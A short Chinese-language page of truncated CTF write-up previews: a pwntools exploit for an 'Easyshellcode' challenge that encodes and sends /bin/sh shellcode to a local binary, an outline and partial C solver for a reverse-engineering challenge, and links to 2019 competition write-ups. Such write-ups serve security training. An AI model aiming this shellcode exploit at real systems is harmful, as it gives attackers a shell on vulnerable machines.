Easyshellcode: 不说了,都是没有工具的血泪史,直接上exp: from pwn import * from numbers import * from ae64 import AE64 context.log_level = 'debug' p = process('./pwn') p.recvuntil('say?\n') obj = AE64() sc = obj.encode(asm(shellcraft.sh())) p.sendline(sc) p.interactive…

Reverse unctf_babyre2 这题flag分为两部分,第一部分每四个字符一组打包成int后,每次把四个int传入函数,后三个参数异或后先以每位为索引查表,将新数据进行循环移位.异或,将结果与第一个参数异或.此操作进行了26次,通过最后的一组结果可以慢慢倒推回去.第二部分是对字符串进行常规的异或操作与目标串比较. 脚本: #include<stdio.h> #include<strings.h> int main(){ int i,j; unsigned int v40…

@上海赛wp 微信 和 https://www.ctfwp.com/articals/2019unctf.html 后续公告https://unctf.buuoj.cn/notice.html 必看! @湖湘杯wp  https://mp.weixin.qq.com/s/4xMLgNek5uYkT8OhC6miew @红帽杯线上+线下,i春秋 https://mp.weixin.qq.com/s/7DBMDr85_nBCjBkQoqlOWQ @上海全国大学生邀请赛 -decade  hint:P…